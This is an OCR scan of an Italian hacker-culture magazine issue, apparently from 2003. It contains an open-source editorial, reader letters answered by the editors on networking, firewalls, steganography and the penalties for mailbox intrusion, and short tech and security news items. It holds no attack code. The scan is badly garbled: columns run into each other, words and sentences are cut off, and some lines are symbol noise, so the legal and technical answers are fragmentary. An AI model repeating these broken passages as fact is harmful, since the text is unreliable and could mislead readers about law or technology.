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hack'er (hàk'ar) 

"Persona che si diverte ad esplorare i dettagli dei sistemi di programmazione 
e come espandere le loro capacità, a differenza di molti utenti, che preferiscono 
imparare solamente il minimo necessario" 



QUESTO 




L ' OPEN 


SOURCE , 


BABY..J 



ecentemente, in una mailing list mi e capitato di leg- 
gere un messaggio sull'open source. L'autore del 
_ _w messaggio si lamentava del fatto che una funzionali- 
tà di un software open source era stata "copiata" da un 
altro software analogo. La stranezza dell'affermazione 
dovrebbe saltare all'occhio, ma così non è per tutti. 

Mi spiego. Uno dei principi più rivoluzionari del softwa- 
re libero è che gli autori mettono il codice (ma anche le 
idee) a disposizione della collettività, che può quindi pren- 
derne dei pezzi e utilizzarli in altri modi. Il fatto quindi di 
poter "copiare" (come diceva l'autore del messaggio) è 
una caratteristica stessa dell'open source. 

Nell'open source, più che copiare, si condivide il lavoro 
con gli sviluppatori di tutto il mondo, in modo che una 
buona idea possa propagarsi e migliorare in uno spirito di 
collaborazione, dove ognuno mette a disposizione le pro- 
prie capacità invece che nasconderle. 



E, aggiungo, in questa copiatura trasversale di idee e di 
codice, accade che le idee più intelligenti vengono prese 
da chi scrive il codice migliore, e il codice ben fatto finisce 
per essere applicato a idee intelligenti, partorite da qual- 
cun altro. 

I prodotti intermedi (quelli che magari si basavano su 
una buona idea ma erano realizzati così così) si perdono 
per strada, ma consegnano i propri "geni" alla posterità. 
Si ha quindi una sorta di evoluzione darwiniana del soft- 
ware, nella quale la promiscuità genera (alla fine) sempre 
risultati migliori dei prodotti di partenza. 

È buffo notare come anche tra chi usa e sostiene il soft- 
ware libero, ogni tanto ci sia qualche confusione. Il vec- 
chio modo di vedere legato alla "proprietà intellettuale", 
in qualche modo, è troppo strettamente legato alla nostra 
cultura. 

grand@hackerjournal.it 




Ormai sapete dove e come trovarci, appena | 
| possiamo rispondiamo a tutti, anche a quelli 
incazzati. 

redazione@hackerjournal.it I 
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IL CORAGGIO DI OSARE: I UNO I|P|EIN|D|EIN|T| Il PAI ITIUITITI 



lHackerjournal.it, 



UN RACCONTO OPEN SOURCE 
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Ci scrive Timekeeper: "Dopo tanto sentire e parlare di 
"Open source", mi è affiorata l'idea di jOpen b< 

-vili •! I* M • x • I 



ti possono partecipare allo sviluppo di un tema attra- 
verso il proprio contributo di idee. [...] Mi piacerebbe 
sviluppare, nell'ottica sopra descritta, un soggetto in cui 



il protagonista o comunque il 
contesto sia legato al mondo 
dell'hacking. E chi meglio di 
voi e della comunità che vi se- 
gue potrebbe partecipare al- 
l'idea?" 

Prima che vi tuffiate a parteci- 
pare, vi raccomando di legge- 
re i termini della licenza del 
documento, che si rifa alla li- 
cenza per la documentazione 
libera GPL, ma riserva all'au- 
ore il diritto ad approvare le 

sti 

termini sono OK, allora fate 
un salto su http://werqw.supe- 
reva.it e... buon lavoro. 



momento in cui scriviamo, siai 

[ti a ben 38 banner realizzati 
pubblicati sul sito di HJ. Qu< 
i più belli di questo giro, real 
Ha 4ndr34, evaNder.sys 
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Nuova password! 

Ecco i codici per accedere alla Secret 
Zone del nostro sito, dove troverete ir 
formazioni e strumenti interessar! 
Con alcuni browser, potrebbe capita 
di dover inserire due volte gli stessi e* 
dici. Non fermatevi al primo tentativo. 
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Se volete comparire 

in questo spazio, scrivete a: 

redazione@hackerjournal.it 
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user: 
ass: 



auto3no 
ma9lla 






VENITECI A TROVARE! 



wwwJick 



www. vincos.it/ictrlu. htm 







■i redattori di HJ parteciperà n 
)me relatori a un seminario gratuito 
al tema "La sicurezza in Mac OS X" 
organizzato da Mac@Work. 
Il seminario si terrà sabato 29 marzo 
presso la sede di Mac@Work, in via 
Carducci angolo galleria Borella < 
Milano. 

Per partecipare è necessario preno 
tarsi scrivendo all'indirizzo: 
corsi@macatwork.net 
Su www.macatwork.net/store/ 
formazione.html si possono anche 
trovare le date e gli argomenti di al- 
tri corsi e seminari gratuiti. 





www.theblackzone.too.it 
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MAC E NUMERI IP 

Possiedo un iMac 450 + . Volevo sapere 
se esiste un' utility in grado di dirmi il nu- 
mero ip di chiunque (mac e pc) si con- 
netta a me per esempio tramite un p 
gromma di messaggistica (MSNMessi 
ger, icq ecc). Inoltre ho notato che molto 
difficile trovare dei numeri ip. Neanche 
cliccando sui contatori di shinystat si ri- 
esce. Potreste suggerirmi un modo per 
trovare liste di numeri ip? 

fonzie 



3C OS 9 c'era l'ottimo IP t' À 
Monitor 

(www. sustworks. e o m / s 
prod_ipmonitor.html). In realtà c'è 
anche su Mac OS X, ma puoi farne a 
meno usando il comando netstat -a 
dal terminale oppure dal program- 
ma Utility Network, che trovi nella 
cartella Applicazioni /Utility. 
Per quanto riguarda la tua seconda 
richiesta, scusa ma davvero non ca- 
pisco cosa stai cercando. E come di- 
re "dove posso trovare una lista di 
numeri di telefono"? Sono milioni, 
ma se non sai a chi corrispondono 



CONDIVISIONE 
DELLA CONNESSI 

Vorrei avere delle informazioni a riguar- 
do della linea ADSL, lo ho una fiat di 256 
kb/s e vorrei utilizzarla sia per il desktop 
che per il notebook. Ho contattato la dit- 
ta con cui ho l'abbonamento e mi ha 
ferito che dovrei cambiare abbonamei 
e usare un modem wireless. Vorrei chi 
dervi come potrei utilizzare questo mo- 
dem che già ho senza cambiare abbona- 
mento per sfruttare ambedue i pc? 



Ci sono due questioni, un 

una legale. Cominciamo subito col 

dire che l'assistenza del tuo provider 



ha sicuramente sbagliato la risposta 
tecnica. Non è assolutamente neces- 
sario avere un "modem wireless 1 
(definizione insesatta in sé) per con- 
dividere una connessione a Internet. 
Molto dipende dal tipo di modem 
che hai attualmente, ma in linea di 
massima occorre collegare i due 
PC con un cavo di rete, e usare un 
software di routing sul computer 
ne è anche collegato al modem. 
Questo software è già presente in 
Windows nelle versioni dalla 98 SE 
in poi (Condivisione della Connes- 
sione Internet). Certo, un router 
wireless ti permetterebbe di anda- 
re in giro per casa con il tuo note- 
book navigando e scaricando la 
posta, ma a un costo di 250 euro 
circa (tra punto di accesso, il fami- 
gerato "modem wireless", e scheda 
wireless per il notebook). La se- 
conda parte della risposta è relati- 
va ai termini del tuo contratto. 
Molti contratti Adsl dedicati all'uso 
personale vietano l'utilizzo di più 
di un computer, anche se tecnica- 
mente si può fare e ben difficil- 
mente il tuo provider si accorgerà 
mai del secondo PC. Ora, visto che 
/'ass/fenza ha sbagliato la prima 
parte della domanda, ti consiglia- 
mo di spulciare il tuo contratto per 
vedere se per caso non ti ha dato 
una risposta sbc~ 
questo case 



ALLE PRIME ARMI 

<PxSTRONG><FONT style="BACK- 
GROUND-COLOR: yellow" face="Comic 
Sans MS" 

color=red>Sono un hacker alle prime ar- 
mi ma sto imporando molto in fretta. 
Volevo sapere come funziona Try2Hack: 
come ottengo la password per passare il 
primo livello? Inoltre volevo sapere se una 
volta penetrato in una casella di posta al- 
trui posso fare qualcosa di interessante ol- 
tre che scrivere e leggere le mail. Un'altra 
cosa: sono più volte che scarico Jonh the 
Ripper, Crackerjack e Unsecure (per Win- 



Scusa la franchezza, ma non se 
^nemmeno* alle prime armi. 



non scrivere man in 



Rete. Lezione n. 2: smemi 
osserva, analizza. Guarda il codice 
sorgente della pagina. E da qui che 
devi partire, per questo giochino e 
per ogni altra cosa che tu voglia fa- 
re col computer. ^L 
Lezione n. 3: per scrivere mail con 
l'indirizzo di un altro non hai biso- 
gno di entrare nella sua casella di 
posta. Ti basta cambiare i dati nel 
tuo client. ^ 
Leziot 

posta di un altro significa compiere 
almeno due o tre reati. 
E se la tua esperienza è quella di- 
mostrata dalla prima domanda, ti 
beccheranno di sicuro. Lascia p 
dere. m 

Lezione n. 5: i "tool" non ser 
niente se non capisci come 
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Jack Fisher 



POSSIBILI ERRORI 

• Libreria mancante. Guardare in 
biblioteca 

• Trovato terrorista. Spostarlo in 
cgi-bin-Laden? 

• Attenzione, Apple ha rilevato un 
worm! 

• Backdoor rigirata! Attenzione 
alla frontdoor 

• Trovato Salam.sys, Panin.dll, 
Maiones.dat: è pronto il buffer! 

• Errore in mIRC. Provare in 
glANN? 

• Errore terrificante: che hai fatto?! 

• Erore inteno al Uindos! Zi è rolto 
ik corrreturu orpotrafico! 
(Grande Tommy) 
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COSA SI RISCHIA? 

Se una persona viene denunciata per aver 
usato una casella di posta elettronica di 
qualcun altro cambiando o usando la sua 
password cosa rischia? Come fanno a 
scoprire chi è stato ad appropriarsi della 
casella ? Un Minorenne rischia qualcosa? 



v j) •• ••••• •• •• •• •• •• •• •• •• •• •••••••• Ivy/ 
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per / /nfrus/one /n un s/sfem 
maf/co (art. 615 ter del Codice Pena- 
le) e un anno per l'appropriazione di 
corrispondenza altrui (Art 616). Per 
ito, le Forze dell'Or- 
ar il listato 
delle connessioni avvenute alla ca- 
sella di posta; individuato l'indirizzo 
IP dell'intruso, lo incrociano con il 
log delle connessioni del provider di 
accesso, e rilevano l'account a cui 
corrisponde e il numero di telefono 
del chiamante. Se questo è stato na- 
scosto, fanno un ulteriore incrocio 
coi log di Telecom o del gestore tele- 
fonico. Un minorenne che commetta 
un reato viene processato dal Tribu- 
nale dei Minori, che ha pene e rego- 
le diverse, ma in ogni caso non la 
passa liscia. 



POSTA BUCA FIREWALL 

Frequento un'università di agraria e la re- 
te dei PC è protetta da un firewall (non so 
quale) che mi nega l'accesso al mio ac- 
count di posta su libero. Ho provato an- 
che con telnet (non sono molto pratico...) 
e tutte le volte che provo a connettermi 
con quel programma, mi da connessione 
fallita. Vorrei sapere se potete aiutarmi in 
qualche modo o ad aggirare questo fire- 
wall o a utilizzare Internet; non penso sia 
contro la legge leggere la propria posta! 
Voi direte "perchè non provi a cambiare 
account di posta?". E una questione di 
principio per prima cosa, e secondaria- 
mente ho veramente troppe persone a cui 
dovrei dare il mio indirizzo di posta elet- 
tronica... ^^ 
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New hardware-device 
frani Microsoft 



Puoi provare a usare un sito cheti 
permetta di leggere la mail da casel- 
le POP3 esterne, come il servizio 
Mail di Yahoo! (puoi impostare fino a 
3 caselle esterne, e leggere la posta 
attraverso il Web). Se non ti va di 
iscriverti a un servizio, puoi usare 
Mail2Web ^^^^^ 

www.mail2web.com, che fa le stesse 
cose ma senza bisogno di registra- 



zione (ogni volta però dovrai inserire 
indirizzo del mail server, nome uten- 
te e password. 
SOFTWARE PER STEGANOGRAFIA 

Fantastika redazione di HJ, ho 1 2 anni e mi 
ha interessato molto la stega nog rafia: po- 
tete indikarmi dove trovare un programma 
in grado di kodifikare i testi invece di do- 
vermalo kreare??? i^^ 
Grazie e continuate così xkè siete i migliori 

\ kazl82 

Voilà: 

www.topology.org/soft/cryi 
www.cl.c a rn.ac.uk/ — f 
steganography / stego _soft .h\ 
Sono tutte raccolte 
grammi. 



...DICO LA MIA 

Quante menate. L'hacker è 
il craker no, L'hacker è un 
hackera senza fare danni, tutti gli altri so- 
no vandali. Lui vuole solo capire e cono- 
scere i sistemi altrui. Ha qualcosa di logi- 
co tutto ciò? Forse lui lascia l'auto aperta 
o il suo appartamento con la porta spa- 
lancata perchè altri possano studiare i 
suoi allarmi o altro? 

E ancora, sicurezza sicurezza sicurezza, 
cassaforti, password, steganografia, dati 
al sicuro. Ma da chi? lo non sono un in- 
dustriale, non sono un politico non un 
trafficante né un delinquente e la maggio- 
ranza della popolazione è così: con una 
busta paga, trattenute automatiche e una 
privacy che non esiste. Ci contano anche i 
peli del e***. Forse i vostri articoli sono 
propio indirizzati a questi personaggi ai 
quali occorre maggiore sicurezza x na- 
scondere i loro brogli. A quelli come me 
nella malaugurata ipotesi c'è il Signor 
FORMAT. 

Condannate chi attacca siti e multinazio- 
nali balorde, mentre io non so far altro 
che compiacer 



Garriva 



noi lasciamo che gli altri 
lettori dicano la loro. Siete d'accordo 
oppure no? Volete rispondere o com- 
mentare? Mandateci le risposte a re- 
dazione@hackeriournal.it 
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NEWS 



LA ZETA JONES 
È UN VIRUS 

A I on ci riferiamo alla procace attrice in car- 
/ il ne e ossa, ma all'ormai piuttosto diffuso 
worm che promette l'accesso esclusivo a foto 
senza veli della suddetta e di altre dive del mo- 
mento, come Shakira e Britney Spears. Facen- 
do clic sui finti link, oltre a non vedere nessuna 
foto piccante, già di per sé motivo di disappun- 
to, si attiva il virus W32/lgloo-15, che installa 
una backdoor sul sistema, aprendo quindi una 
via di ingresso a semplici curiosi o malintenzio- 
nati vari. 



O GPRS E MMS 
NON TIRANO 

/cosiddetti 2.5G, ovvero i cellulari GPRS e 
MMS, non hanno avuto il successo di pub- 
blico sperato, nonostante l'impressione possa 
essere contraria: se ne parla molto ma se ne 
comprano davvero pochi. E questi non sono 
certo i presupposti migliori all'imminente (sep- 
pur imminente da molto tempo, e ora si com- 
prende perché) lancio in larga scala di UMTS. 
Secondo le agenzie di marketing, la gente ha 
l'impressione che questi telefonini non servano 
poi davvero a molto, almeno per ora. Di certo 
c'è che il costo di GPRS è ancora alto per invo- 
gliare le masse. 



O PDA GPRS CON LINUX 



□ 



fi all'azienda Invair è in arrivo, dopo l'antepri- 
U ma al CeBIT 2003, un palmare ultrasottile, 
dalle dimensioni di una carta di credito. Linux Fi- 
lewalker Messenger dispone di un sistema ope- 
rativo basato su Linux e scheda GSM/GPRS tri- 
band, con viva voce e vibrazione. E' dotato inol- 
tre di schermo a toni di grigi ad alta risoluzione, 
porta infrarossi, modulo GPS, interfaccia 
USB/RS232 e Bluetooth e uno slot Multimedia 
Card/Secure Digital. Il tutto a un prezzo di circa 
649 euro (IVA inclusa). 




O PEER TO PEER NATIVO IN WINDOWS XP 



□ 



f' stato appena rilasciato a cura di Microsoft un 
SDK (Kit di sviluppo software) dedicato agli 
sviluppatori di applicazioni peer to peer, che vo- 
gliano rivolgere i loro sforzi verso la piattaforma di 
Windows Xp. Tali applicazioni si baseranno su una 
nuova tecnologia, che sarà implementata come 
aggiornamento nel sistema, denominata Win- 
dows XP Peer-to-Peer Update, e che supporterà le 
applicazioni P2P sia centralizzate che decentraliz- 
zate, mediante l'aggiornamento delle API di Win- 
dows Xp per il supporto del protocollo Ipv6 e una 



versione migliorata e più flessibile del NAT. 
Un interesse, già peraltro anticipato dal recente ri- 
lascio della versione beta di Threedegrees, un 
addon di supporto P2P per gli utenti di Windows 
XP e MSN Messenger, che potrebbe sembrare 
curioso, proprio da parte dei capifila della lotta al- 
lo scambio non autorizzato, dei paladini del diritto 
d'autore: ma il colosso di Redmond non perde 
d'occhio l'immensa utilità del sistema in un ambi- 
to aziendale, campo in cui già da qualche tempo 
Ibm e Sun si stanno muovendo. 



O XBOX LIVE PROMETTE BENE 



□ 



I a fase di betatesting europeo (effettuato in 
L Francia, Germania e Gran Bretagna) del siste- 
ma di broadband online gaming per Xbox, ovve- 
ro Xbox Live Test Drive, cominciata il 28 novem- 
bre, sta per concludersi: per il 14 marzo è previ- 
sto il lancio ufficiale del sistema in Belgio, Fran- 
cia, Germania, Italia, Olanda, Gran Bretagna, 
Spagna e Svezia. Nel corso dell'anno, le altre na- 
zioni europee si aggiungeranno via via. 
E pare che il sistema non solo funzioni, ma che 
sia anche molto soddisfacente, perlomeno a sen- 
tire le opinioni dei betatester: molto apprezzato, 



fra le funzionalità offerte dal sistema Xbox Live, 
il Voice Communicator, che dà ai giocatori la 
possibilità di interagire a voce con compagni di 
squadra e avversari durante le partite. Altre 
funzione molto apprezzate sono Optimatch, che 
consente di trovare, nella rete dei giocatori on- 
line, quello più adatto al proprio livello, non 
troppo abile né troppo pasticcione e Gamertag, 
una specie di identificatore universale e per- 
manente che fornisce ai giocatori una ben pre- 
cisa identità online, arricchibile e personalizza- 
bile da parte dell'utente. 



3 SUN CEDE AL FASCINO DI AMD 



□ 



Al eanche più i colossi del mondo RISC possono 
/ il fare a meno dell'architettura pratica — e so- 
prattutto a buon mercato — basata su x86. Que- 
sta è l'impressione che si ha, dopo la notizia del- 
l'implementazione, da parte di Sun, dei chip a bas- 
so consumo AMD per i propri server di fascia bas- 
sa. Infatti, per i prossimi mesi sono previste in usci- 
ta due differenti linee di server biade: una tradizio- 
nalmente equipaggiata con UltraSPARC Ili da 650 
MHz, e una dotata invece di Athlon XP-M (proces- 
sori dedicati al mobile computing). Le caratteristi- 
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che dei processori AMD citati sono sembrate, evi- 
dentemente, imprescindibili per sistemi come i 
server biade, caratterizzati dal basso consumo e 
dall'estrema compattezza. 
La piattaforma Solaris/SPARC resta comunque, 
Sun ci tiene a precisarlo, lo standard per i sistemi 
a 64 bit, in vista soprattutto delle novità dovute al- 
l'implementazione, su UltraSPARC, della tecnologia 
Throughput Computing. Ciò denota indifferenza, 
perlomeno momentanea, per Opteron, il processo- 
re a 64 bit in imminente uscita da parte di AMD. 
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O OPERA PROIBITO Al POCKET PC 



□ 



I a saga delle ripicche fra Opera 
L Microsoft non sembra avere 
mai fine: quando ancora non sono 
spenti gli echi dello "scherzo" ope- 
rato con la Bork Edition di Opera, 
che al posto del contenuto della 
pagina di Msn visualizzava parole 
dell'incomprensibile linguaggio del 
cuoco svedese del Muppet Show, 
ecco che Opera Software dichiara 
che mai il proprio browser potrà 
comparire sui telefoni o sui palma- 
ri basati sul sistema operativo Poc- 
ket PC. Non perché non credano 
nella possibilità di fornire un brow- 
ser a uno smartphone, o nella bontà 




del loro browser (che fra l'altro implemen- 
ta una tecnologia di renderizzazione video 
molto efficiente soprattutto per i dispositi- 
vi con schermi di piccole dimensioni), tut- 
t'altro: proprio per quel motivo non voglio- 
no contribuire, parole loro, al successo di 
Microsoft nel settore. 
Opera Software si sta lanciando invece 
verso Symbian, che sta riscuotendo non 
meno successo di Pocket PC proprio nel 
campo degli smartphone. E' già pronta in- 
fatti una versione embedded di Opera per 
uno smartphone di Sony Ericsson, il P800. 
E pare ci sarà la possibilità di installare una 
f versione gratuita di Opera anche sull'immi- 
nente 3650 di Nokia. 



O PERCHE PIACE LA MUSICA CHE PIACE? 



□ 



I I na domanda da cento milioni di dollari, direb- 
\J be qualcuno. E invece no: pare che un com- 
puter opportunamente programmato sia in grado 
di identificare al volo quali siano le potenzialità di 
successo di una canzone prima della sua uscita sul 
mercato. L'idea è di una software house spagnola, 
Polyphonic HMI, che evidentemente non crede nel 
principio secondo cui computer e frutti dell'umano 
ingegno non sono interfacciabili concretamente 
(vedi valutazione di opere d'arte o semplici tradu- 
zioni). Il programma in questione individuerebbe e 
analizzerebbe strutture e pattern matematici, alla ri- 



cerca di quelli che solitamente incontrano i gusti 
del pubblico, utilizzando una tecnologia pomposa- 
mente definita Hit Song Science (HSS). 
La notizia strappa un sorriso all'utente medio, in- 
dubbiamente, ma non è così per le case discogra- 
fiche più note, che anzi paiono essere già in tratta- 
tive per verificare le effettive potenzialità del pro- 
gramma, il cui utilizzo si vorrebbe esteso, secondo 
le ambizioni degli autori, agli autori stessi. Ma tutti 
confidiamo che in pochi accettino di mettersi a 
produrre musica sinteticamente e matematica- 
mente gradevole... 



3 OFFICE SULLA RETE CON LINUX 



□ 



Microsoft 




I I na annosa rivalità pare stemperarsi alla luce 
KJ delle nuove esigenze di applicazioni client- 
server. In alternativa ai terminal server, due 
aziende, Codeweavers e Tarantella, stanno stu- 
diando in partnership soluzioni per accedere via 
HTTP alle applicazioni di Office automation di Mi- 
crosoft. Saranno sufficienti un thin client Linux e 
un browser con supporto Java, nulla di più, e le 
applicazioni desiderate potranno essere utilizzate 
attraverso una interfaccia Web. Nella fattispe- 
cie, i protagonisti dell'operazione saranno due 



applicazioni già sviluppate dalle due aziende, En- 
terprise 3 di Tarantella, che fornisce l'accesso 
Web based e CrossOver Office di Codeweavers, 
che sfrutta la tecnologia di Wine per far funzio- 
nare sotto Linux le tradizionali applicazioni "da uf- 
ficio", come Lotus Notes e Office. Il loro connu- 
bio darà vita a CrossOver Office Server Edition, 
che permetterà di hostare applicazioni Windows 
su server Linux e accedere ad esse mediante un 
client Linux, senza bisogno di licenze supple- 
mentari. 
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O CELLULARE O 
WALKIE-TALKIE? 



ERICSSON g 



IMOK1A 



fricsson, Nokia e Siemens hanno formato 
un consorzio per studiare e implementare 
nei loro dispositivi cellulari la tecnologia Push 
to Talk, che permetterebbe di utilizzare un tele- 
fono GPRS proprio come una radio ricetrasmit- 
tente, premendo un tasto per entrare in contat- 
to diretto con l'interlocutore. Il consorzio do- 
vrebbe unire gli sforzi e stabilire uno standard 
fin dall'inizio, per favorire l'interoperabilità, coin- 
volgendo via via quanti più soggetti possibile. 



O VE NT' ANNI 
A UN CRACKER 

I a storia non è recentissima: nel 2000, un 
L cracker kazako riuscì a violare i sistemi del- 
la celebre agenzia finanziaria Bloomberg (per 
intenderci, quella dell'attuale sindaco di New 
York) chiedendo poi 200.000 dollari per non 
rendere pubblico il cracking (che avrebbe potu- 
to compromettere l'immagine dell'agenzia). 
Bloomberg, fingendo di accettare, ha allertato 
l'FBI, che si è presentato all'incontro per arre- 
stare il cracker e il suo complice. I due, estra- 
dati negli Stati Uniti, rischiano ora guai grossi: 
per l'esecutore materiale si parla di una con- 
danna che può arrivare a vent'anni di carcere! 



O UN AIUTO POCO 
COSTRUTTIVO 

/bug di Windows diventano sempre più bef- 
fardi. L'ultimo si annida addirittura nella Gui- 
da in linea e supporto tecnico di Windows Me, 
attraverso la quale si può accedere a docu- 
mentazioni, aiuto in linea e aggiornamenti vari. 
Gli URL utilizzati per tali puntamenti hanno pre- 
fisso hcp:// invece di http://, e proprio nel com- 
ponente che gestisce questo genere di Uri è 
annidato il buffer fallace che rende il sistema 
vulnerabile all'esecuzione di codice malizioso. 
Vulnerabilità purtroppo piuttosto frequente su 
vari componenti di Windows, ma per fortuna 
prontamente patchata dalla casa di Redmond. 
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GOOGLE: 
BLOGGER E NON SOLO 



Google 



f notizia di questi giorni l'acquisto di 
Blogger, il noto e utilizzatissimo portale per 
weblog, da parte di Google. Ma chi temeva che 
fosse l'inizio di un processo di espansione com- 
merciale del motore di ricerca forse più utilizzato 
al momento attuale, deve ricredersi. Urs Holzle, il 
guru di Google, ha garantito all'impensierita 
stampa di settore che il portale che cura gode di 
ottima salute e di completa autonomia finanzia- 
ria, forte di oltre 500 dipendenti, grazie agli introi- 
ti pubblicitari e alla rivendita delle proprie tecno- 
logie di ricerca. E che per questo intende restare 
un motore di ricerca e nulla più: niente portali 
multifunzionali, niente negozi, solo ricerca, più 
accurata e completa possibile, nell'ottica di una 
fruizione del Web semplice, utile e appagante. 
Ma, aggiunge anche, Google non diventerà mai 
un interprete del linguaggio umano: prima di 
tutto perché l'utente medio non vuole parlare con 
Google, porgli domande, ma semplicemente dar- 
gli in pasto parole chiave per vedere cosa riesce 
a trovare. E in tal senso Google cercherà costan- 
temente di migliorare se stesso. 



O AUGURI DI BUON 
COMPLEANNO, BBS 

I Venticinque anni fa, a Chicago, ha comincia- 
V to la sua attività quella che è riconosciuta 
come la prima BBS (Bullettin Board System), 
ovvero niente più che un computer (uno Z-80) 
collegato a una linea telefonica mediante un 
modem a 300 baud. Su questo computer si rac- 
colse piano piano una comunità, che prese a 
comunicare con le altre che si andavano for- 
mando mediante quello stesso modem, colle- 
gandosi al computer e ricevendo e inviando 
messaggi da una BBS all'altra. Le BBS sono gli 
antesignani pionieristici di tutte le forme di 
comunicazione telematica, e se ora ci strappa- 
no solo un sorriso nostalgico, allora erano un 
immancabile punto di ritrovo per molti. 



li z 

» SENDO PREPARA LA MARCIA SU MICROSOFT □ 



forse qualcuno si ricorda di 
Sendo e del suo amore finito 
con Microsoft: uno smartphone 
della succitata azienda, lo ZI 00, 
basato su Windows Powered 
Smartphone 2002, è stato bloc- 
cato da Sendo alla vigilia della 
commercializzazione per motivi 
mai del tutto chiari, e sfociati in 
battaglie di carta bollata in tribu- 
nale - si parla di furto di tecnolo- 
gia e insider trading per portare 
al fallimento Sendo. Ora si passa 
al contrattacco: è in arrivo una li- 
nea di telefoni cellulari con dis- 
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play a colori, supporto EMS/MMS, 
suonerie polifoniche e giochi Java. Il 
primo a giungere sarà TM550, più 
piccolo e economico dei modelli ana- 
loghi già sul mercato, e sarà presto 
seguito dall'attesissimo smartphone 
basato su Series 60 di Nokia. Un co- 
municato stampa sottolinea, forse 
con un fondo di sarcasmo, che le po- 
sizioni più liberali di Nokia in materia 
di codici sorgenti hanno fornito a 
Sendo grandi possibilità di persona- 
lizzazione dei dispositivi, nonché una 
maggior rapidità di sviluppo e un co- 
sto più basso del prodotto finito. 



O WIRELESS OLTRE GLI OSTACOLI 



□ 



Parte da Singapore un ardito ma interes- 
santissimo esperimento per la messa a 
punto della tecnologia wireless UltraWide- 
Band (UWB), che è caratterizzata dall'emis- 
sione di singoli impulsi invece che di onde 
continue, con più impulsi corrispondenti a 
un singolo dato per avere la conferma di 
una corretta ricezione del segnale, arrivan- 
do a trasmettere fino a un milione di bit al 
secondo, con un consumo di energia ridotto 
rispetto alle tradizionali tipologie di trasmis- 
sione. I singoli impulsi, al contrario delle on- 
de, non rimbalzano via contro muri e altre 



barriere che allo stato attuale della tecnolo- 
gia si pongono come limiti invalicabili alla 
diffusione del segnale. La tecnologia, va da 
sé, è subito sembrata la soluzione ideale 
per applicazioni anche più peculiari, come il 
radar o il GPS. Ovviamente, con le dovute 
precauzioni per il rispetto della privacy del 
comune cittadino. Ma pare che, senza biso- 
gno di pensare troppo in grande, questo ge- 
nere di tecnologia sarà un toccasana per 
tutte quelle soluzioni, ambiziose ma mai 
davvero messe in atto, di reti wireless ca- 
salinghe così come aziendali. 



O PS2 SULLA GRIGLIA DI IBM 



I a tecnologia di grid computing di IBM, quella 
L stessa che ha dato vita a innumerevoli e po- 
tenti computer virtuali in tutto il mondo, sarà uti- 
lizzata per il gaming online di Playstation 2, attra- 
verso la piattaforma Butterfly Grid. Un network di 
questo genere, oltre a essere estremamente so- 
lido e sicuro, può sopportare il carico di milioni di 
giocatori su centinaia di piattaforme di gioco, e 
relativi picchi. In questo la strategia di Sony si 
differenzia radicalmente da quella di Microsoft, 
che ha creato un proprio network. 




O NOKIA A RISCHIO BLOCCO 



□ 



fin SMS e un allegato vCard (lo standard per lo 
vJ scambio di dettagliate informazioni sui contat- 
ti della rubrica, il classico "biglietto da visita") crea- 
to ad arte: questo basta per mandare in crash il No- 
kia 6210, causando anche altri fastidiosi effetti col- 
laterali quali caratteri non validi sullo schermo o 
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blocco totale di tutti i biglietti vCard. Sia chiaro, per 
tranquillizzare gli utenti, che anche il blocco più gra- 
ve può comunque essere risolto semplicemente 
disconnettendo la batteria: nella maggior parte dei 
casi, semplicemente il telefono si riawierà o sarà 
necessario spegnerlo e riaccenderlo. 
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O I FONDI PER L'ECOMMERCE DURAN POCO D 



« prf II c-uliajjMii tanta loiosnaUcn 



/l 27 si sono aperte le iscrizioni per ottenere fi- 
nanziamenti statali da investire nel commercio 
elettronico e nel collegamento telematico, per 
una somma totale di oltre 100 milioni di euro. L'i- 
niziativa del Ministero delle Attività Produttive, 
era rivolta a tutte le imprese (si escludono le as- 
sociazioni senza fini di lucro) che si occupano di 
hardware e software, consulenza, tutoring, for- 
mazione ed e-learning, per progetti di importo 
non inferiore a 7500 euro. Diciamo "era rivolta" 
perché, in realtà, nel giro di 24 ore l'accettazione 
delle domande è stata chiusa, per via dell'eleva- 
to numero di richieste, che ha esaurito nel giro di 



poche ore le risorse disponibili. Inutile dire che 
tutti coloro che non sono riusciti nemmeno a pre- 
sentare la domanda in tempo utile sono parec- 
chio arrabbiati e indignati della faccenda. Il pro- 
blema principale è il meccanismo di accettazione 
delle domande, che blocca i fondi richiesti fin dal- 
la presentazione della domanda; prevedibilmen- 
te, alcune domande non saranno accolte dal Mi- 
nistero, e nessuno potrà quindi accedere ai fondi 
prima "prenotati" e poi negati. Insomma, oltre al 
danno del mancato finanziamento, ci sarà la bef- 
fa dei soldi che ci sono, ma non si possono rice- 
vere. Per informazioni: www.legge388.info. 



O TELECAMERE A SCUOLA 



□ 



/l fenomeno sta cominciando a Manchester, 
in Gran Bretagna, ma sta suscitando un inte- 
resse, è il caso di dirlo, piuttosto morboso, an- 
che fuori dall'isola. L'idea nasce, si dice, dalla 
scarsa fiducia che i genitori ripongono nei rap- 
porti dei professori sui loro figli, che a loro pa- 
rere li dipingono molto più indisciplinati di 
quanto essi pensano che siano. Quindi, tran- 
quillizza l'assessore che ha avuto l'ideona, non 
è nulla di persecutorio, solo un modo per dare 
una mano agli insegnanti e per arginare queir 1% 
di studenti che, pare, rendono davvero difficile 
la vita ai poveri professori. Anzi, sarebbe un 



modo per stabilire un rapporto educativo più di- 
retto fra insegnanti e genitori. 
Il sindacato ha alzato più di un sopracciglio per 
questa iniziativa, ribattendo che una telecame- 
ra in aula farebbe sentire docenti e allievi un 
po' spiati, suscitando orwelliane memorie, e 
che più che di aiuto sarebbe di notevole im- 
paccio. Ma l'assessore pare non sentire ragio- 
ni e ribattere sulla bontà didattica della sua ini- 
ziativa. Incrociamo le dita, sperando che que- 
ste alzate di ingegno siano limitate, e che il 
Grande Fratello, comunque lo si voglia intende- 
re, resti fuori dalle aule scolastiche. 



O FA ANCHE IL CAFFÉ? NO. PER ORA. 



□ 



/l nuovo 
pargolo! 
di casa 



\ 



Nokia, 
3650, 



il 
si 



presenta co- i 
me un prodot- 
to davvero al- 
lettante per gli 
appassionati di 
smartphone multi- 
mediali. Non man- 
cano ovviamente i 
display a colori, la fo- 
tocamera VGA integra- 
ta con possibilità di tra- 
smissione di immagini e 
video, il player RealOne 
per scaricare dalla rete e 
visualizzare video, il suppor- 
to MMS per inviare e ricevere 
messaggi completi di immagi- 
ni, video e suoni e la tastiera dal 




design avveniristico, come ormai ci sta abi- 
tuando la casa finlandese. 
Anche la parte Pda è decisamente ben cura- 
ta, con tanto di possibilità di sincronizzazio- 
ne con Outlook e Lotus Notes. 
Per quanto riguarda le applicazioni per In- 
ternet, è presente l'opzione di invio e ri- 
cezione di messaggi di posta elettroni- 
ca, nonché un browser XHTML, at- 
